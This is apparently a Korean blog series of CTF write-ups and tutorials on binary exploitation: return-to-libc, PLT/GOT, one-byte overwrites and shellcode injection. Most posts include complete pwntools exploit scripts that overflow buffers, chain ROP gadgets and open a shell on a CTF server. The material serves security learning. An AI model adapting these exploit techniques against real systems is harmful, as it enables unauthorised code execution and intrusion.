# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

e = ELF("./libc.so.6")
r = remote('ctf.j0n9hyun.xyz', 3015)
#r = process("./rtlcore")

#gdb.attach(r)

hashcode = 0x0C0D9B0A7

value = hashcode // 5
remain = hashcode % 5

print(value, 0x2691f021)
payload = p32(value) * 4 + p32(value + remain)

r.sendlineafter(': ', payload)
r.recvuntil("바로 ")
_printf = int(r.recv(10), 16)
_base = _printf - e.symbols['printf']
_system = _base + e.symbols['system']
_binsh = _base + e.search("/bin/sh").next()

print(_base)
print(_base - _system)
print(_base - _binsh)

payload = 'A' * (0x3E + 4)
payload += p32(_system)
payload += 'A' * 4
payload += p32(_binsh)

r.sendline(payload)

r.interactive()

코드 보고 이부분 코드 만들어서 인증하고,

인증해서 받은 값을 확인해보니

printf 함수라서 libc의 base주소를 구하고,

거기에 system 주소를 구하고, /bin/sh의 주소를 구해

payload를 만들었습니다.

728x90

'해킹 > writeup' 카테고리의 다른 글

15. Dreamhack - basic_rop_x64  (0) 2021.08.01
14. Dreamhack - basic_rop_x86  (0) 2021.08.01
11. RTL  (0) 2021.07.19
10. PLT & GOT  (0) 2021.07.19
12. HackCTF - RTL_World  (0) 2021.07.18

RTL(Return To Library)

NX 비트가 켜져있어서 쉘코드 실행이 불가능한 경우,

RTL을 사용하여 라이브러리에 있는 함수를 실행하여 우회한다.

 

실제로 RTL로 쉘을 실행해보며 어떻게 작동하는지 알아보자.

32BIT

프로그램을 실행해주고, print system 으로 system 함수의 주소를 가져오겠습니다.

그리고 인자로 넣을 /bin/sh 를 찾아서 주소를 가져오겠습니다.

shift + F12를 쓰면 문자열들이 보입니다.

/bin/sh를 더블클릭하여 들어가면

앞에 주소가 써있으니 복사해 주겠습니다.

from pwn import *

r = process('./rtl32_1')

gdb.attach(r) #debugger attach

_system = 0xf7dfce40 #system function address
_binsh = 0x0804a028 #/bin/sh string address

그리고 IDA를 이용하여 ebp부터 변수까지 떨어진 거리를 확인한 후에 덮어써줍니다.

payload = "A" * 0x48 #overwrite

그러면 이 다음에 쓰는 부분은 SFP가 될 것입니다. RET 위치에 있는 주소를 실행하기 때문에, SFP를 덮어쓰겠습니다.

payload += "A" * 4 #SFP

그리고 이 다음에 실행할 함수를 넣어야 하는데 그 함수는 위에서 찾은 system의 주소를 넣어주겠습니다.

payload += p32(_system)

그 다음에는 system 함수가 끝나고 실행될 주소를 넣는다.

payload += "A" * 4

그리고 32bit에선 스택에 인자를 넣기 때문에, shell을 실행하기 위해 /bin/sh 를 인자로 넣어준다.

payload += p32(_binsh)

그리고 만들어진 페이로드를 전송하고, 대화형으로 변경한다.

r.sendline(payload) #send payload
r.interactive() #interactive

이걸 gdb로 봐보면

페이로드가 잘 들어갔고 지금은 SFP 부분이다.

pop ebp로 스택에 맨 위에 있는(여기선 SFP)를 ebp에 넣는다.

그리고 다음 명령어는 ret 이고, 스택의 최상단의 함수를 실행한다. (돌아간다는 표현이 더 적절한것 같다.)

그 다음은 함수 안에서 알아서 스택의 첫번째는 함수를 호출하고, 두번째부턴 인자로 들어간다.

64BIT

system함수 주소와 /bin/sh 찾는 과정은 같으니 스킵하고, x64에서는 함수 인자로 레지스터를 사용하니, 레지스터에 원하는 값을 넣는 가젯을 써야 합니다. 여기선 pop rdi; ret; 가젯을 써보겠습니다.

ROPgadget --binary 파일

을 이용하여 가젯 목록을 가져오고 grep을 통해서 원하는 문자열을 찾습니다.

 

그리고 코드를 위와 같이 기본적인건 작성합니다.

from pwn import *

e = ELF('./rtl64_1')
r = process('./rtl64_1')

_system = e.plt['system']
_binsh = 0x0000000000400794
_poprdi = 0x0000000000400773

64비트니 일단 인자 설정을 해 줍니다.

인자가 하나니 pop rdi; ret; 만 사용하면 되고, 스택의 최상단에서 가져오고, 이번엔 인자를 스택에 넣지 않으니, RET가 실행될 때 스택 최상단에서 주소를 가져와서 돌아가니 인자 다음에 넣어주면 된다.

pop rdi; ret;

"/bin/sh";

system

payload = 'A' * 0x30 #overwrite
payload += 'A' * 8 #SFP
payload += p64(_poprdi)
payload += p64(_binsh)
payload += p64(_system)
from pwn import *

e = ELF('./rtl64_1')
r = process('./rtl64_1')

_system = e.plt['system']
_binsh = 0x0000000000400794
_poprdi = 0x0000000000400773

payload = 'A' * 0x30 #overwrite
payload += 'A' * 8 #SFP
payload += p64(_poprdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

r.interactive()

그리고 디버거에서 어떻게 실행되는지 봐보면

ret 에서 pop rdi 가젯으로 가고

스택의 최상단을 뽑아 rdi에 넣고

system 함수를 실행한다.

728x90

'해킹 > writeup' 카테고리의 다른 글

14. Dreamhack - basic_rop_x86  (0) 2021.08.01
13. HackCTF - RTL_Core  (0) 2021.07.19
10. PLT & GOT  (0) 2021.07.19
12. HackCTF - RTL_World  (0) 2021.07.18
9. HackCTF - Offset  (0) 2021.07.11

PLT(Procedure Linkage Table)

외부 프로시저를 연결해주는 테이블

GOT로 점프하는 코드가 적혀있다.

GOT(Global Offset Table)

PLT가 참조하는 테이블, 처음에는 plt+6, 이후에는 실제 라이브러리의 함수 주소가 적혀있다.

 

동적 링크를 사용하면, 여러가지 프로그램들이 메모리에 올라간 하나의 라이브러리를 다같이 사용한다.

그러므로 그 라이브러리의 함수를 호출하기 위해선 어딘가에 공유 라이브러리의 위치를 저장해둬서 필요할 때 그 주소를 이용하여 라이브러리로 가야한다.

그 동작을 하는게 plt와 got이다.

got는 처음 호출될 때에는 plt+6의 주소가 저장되어 있다. 

dl_resolve란 함수를 사용하여 함수의 실제 주소를 가져와 got에 써줍니다.

728x90

'해킹 > writeup' 카테고리의 다른 글

13. HackCTF - RTL_Core  (0) 2021.07.19
11. RTL  (0) 2021.07.19
12. HackCTF - RTL_World  (0) 2021.07.18
9. HackCTF - Offset  (0) 2021.07.11
8. HackCTF - x64 Simple_size_BOF  (0) 2021.07.11

ASLR이 켜져있다.

그래서 RTL을 하기 위한 system 함수의 위치와 "/bin/sh" 문자열의 위치를 찾아야 하는데,

Get the System Armor와 Get the Shell Sword에서 system 함수의 위치와 "/bin/sh" 문자열의 주소를 출력해준다.

그러기 위해선 돈이 1999+2999 만큼 필요한데 Get_Money 함수에 가보면

4를 입력하면 돈이 랜덤값으로 정해진다.

from pwn import *

e = ELF('./rtl_world')
#r = process('./rtl_world')
r = remote("ctf.j0n9hyun.xyz", 3010)

r.sendlineafter('>>> ', '2')

r.sendlineafter('(Job)>>> ', '4')

 

그럼 그 다음에 system 함수 주소와 /bin/sh 문자열 주소를 얻자

r.sendlineafter('>>> ', '3')
r.recvuntil(": ")
system_addr = int(r.recv(10), 16)

r.sendlineafter('>>> ', '4')
r.recvuntil(": ")
binsh = int(r.recv(10), 16)

 

그리고 canary도 없으니 바로 공격한다

r.sendlineafter('>>> ', '5')
r.recvuntil('> ')

payload = 'A' * (0x8c + 4)
payload += p32(system_addr)
payload += 'A' * 4
payload += p32(binsh)

r.sendline(payload)

r.interactive()
from pwn import *

e = ELF('./rtl_world')
#r = process('./rtl_world')
r = remote("ctf.j0n9hyun.xyz", 3010)

r.sendlineafter('>>> ', '2')

r.sendlineafter('(Job)>>> ', '4')

r.sendlineafter('>>> ', '3')
r.recvuntil(": ")
system_addr = int(r.recv(10), 16)

r.sendlineafter('>>> ', '4')
r.recvuntil(": ")
binsh = int(r.recv(10), 16)

r.sendlineafter('>>> ', '5')
r.recvuntil('> ')

payload = 'A' * (0x8c + 4)
payload += p32(system_addr)
payload += 'A' * 4
payload += p32(binsh)

r.sendline(payload)

r.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

11. RTL  (0) 2021.07.19
10. PLT & GOT  (0) 2021.07.19
9. HackCTF - Offset  (0) 2021.07.11
8. HackCTF - x64 Simple_size_BOF  (0) 2021.07.11
7. HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2021.07.11

다른 문제들에 비해 좀 복잡하다.

Stack canary 를 제외한 다른 보호기법들은 다 적용되어 있다. 그렇다는건 버퍼 오버플로우를 통해서 풀면 된다는 것이다.

일단 IDA로 따보면

print_flag라는 수상한 함수가 있는데 기억해두고,

main 에서 값을 받아 select_func 에 넘겨준다.

 

select_func에는 dest와 v3 변수가 있는데 dest에 src 인자를 31바이트 복사한다.

dest와 v3간의 거리는 30바이트이기 때문에 src에 31바이트 값을 넣으면 v3 변수의 영역 1바이트를 침범한다.

little endian 프로그램이기 때문에 

맨 뒷 자리가 가장 낮은 주소에 들어가고,

맨 앞 자리가 가장 높은 주소에 들어갈 것이다.

그렇다면 dest(낮은곳)에서 올라와서 딱 한바이트 침범한다면

v3의 가장 낮은 주소 한바이트를 침범할 것이다.

그 가장 낮은 주소는 주소의 맨 뒷 자리일 것이고,

그렇다면 함수 two의 주소가 0x565556ad이면,

0x565556ad 이 부분을 바꿀 수 있다는 것이다.

아까 위에서 print_flag 란 수상한 함수가 있다고 한걸 기억하고 있다면,

print_flag의 주소를 찾아보지 않을수가 없다.

찾아보면 print_flag의 주소는 0x565556d8,

공교롭게도 함수 two의 주소와 차이가 단 맨 뒷자리밖에 차이가 나지 않는다. 그렇다면 0x565556ad를 0x565556d8로 바꿔야 하니 select_func의 인자 src의 값을 30자리를 아무 값으로나, 그리고 맨 뒤 한자리를 d8로 하면 v3의 값이 print_flag의 주소값으로 바뀌지 않을까?

이 문구, print_flag 에 있는 문장이랑 똑같다.

 

임의의 플래그 파일을 만들어 실행시켜보니 제대로 나온다.

이걸 이제 서버에 연결해서 실행시키기만 하면 된다!

플래그가 잘 나오는걸 볼 수 있다.

728x90

'해킹 > writeup' 카테고리의 다른 글

10. PLT & GOT  (0) 2021.07.19
12. HackCTF - RTL_World  (0) 2021.07.18
8. HackCTF - x64 Simple_size_BOF  (0) 2021.07.11
7. HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2021.07.11
6. DreamHack - basic_exploitation_000  (0) 2021.07.11

간단하다.

그냥 v4 주소 받고, v4에 쉘코드 넣고 나머지 + 8 만큼 \x90으로 채운 뒤 v4의 주소를 써서 RET 을 덮어 씌우면 된다.

from pwn import *

#p = process("./Simple_size_bof")
p = remote('ctf.j0n9hyun.xyz', 3005)

buffsize = 0x6d30

context(arch='amd64', os='linux')
shell = asm(shellcraft.amd64.linux.sh())

p.recvuntil('buf: ')
buffloc = int(p.recv(14), 16)

payload = b''
payload += shell
payload += b'\x90' * (buffsize - len(shell) + 8)
payload += p64(buffloc)

p.sendline(payload)

p.interactive()

 

728x90

'해킹 > writeup' 카테고리의 다른 글

12. HackCTF - RTL_World  (0) 2021.07.18
9. HackCTF - Offset  (0) 2021.07.11
7. HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2021.07.11
6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11

s 변수의 크기부터 봐보자. 0x14 쉘 코드를 넣기에는 공간이 부족하고, s 변수의 주소를 알아낼 수 없다.

name 변수를 보자. name변수는 bss 영역에 있는걸 보아 초기화되지 않은 전역 변수인 거 같다.

보호 기법도 없으니 name 변수는 항상 고정된 위치에 있을 것이다.

name 변수 위치인 0804A060에 쉘 코드를 넣고,

s를 버퍼 오버플로우를 이용하여 ret을 name 변수 주소로 덮어 씌울 것이다.

from pwn import *

context.log_level = 'debug'

#r = process("./prob1")
r = remote("ctf.j0n9hyun.xyz", 3003)

context(arch='i386', os='linux')
shell = asm(shellcraft.i386.linux.sh())

r.recvuntil(": ")
r.sendline(shell)

payload = b''
payload += b'A' * (0x14 + 4)
payload += p32(0x804a060)

r.recvuntil(": ")
r.sendline(payload)
r.interactive()

이상하게 로컬에서 돌렸을때는 쉘이 제대로 작동하지 않았는데 서버에 시도할때는 제대로 됐다.

728x90

'해킹 > writeup' 카테고리의 다른 글

9. HackCTF - Offset  (0) 2021.07.11
8. HackCTF - x64 Simple_size_BOF  (0) 2021.07.11
6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16

+ Recent posts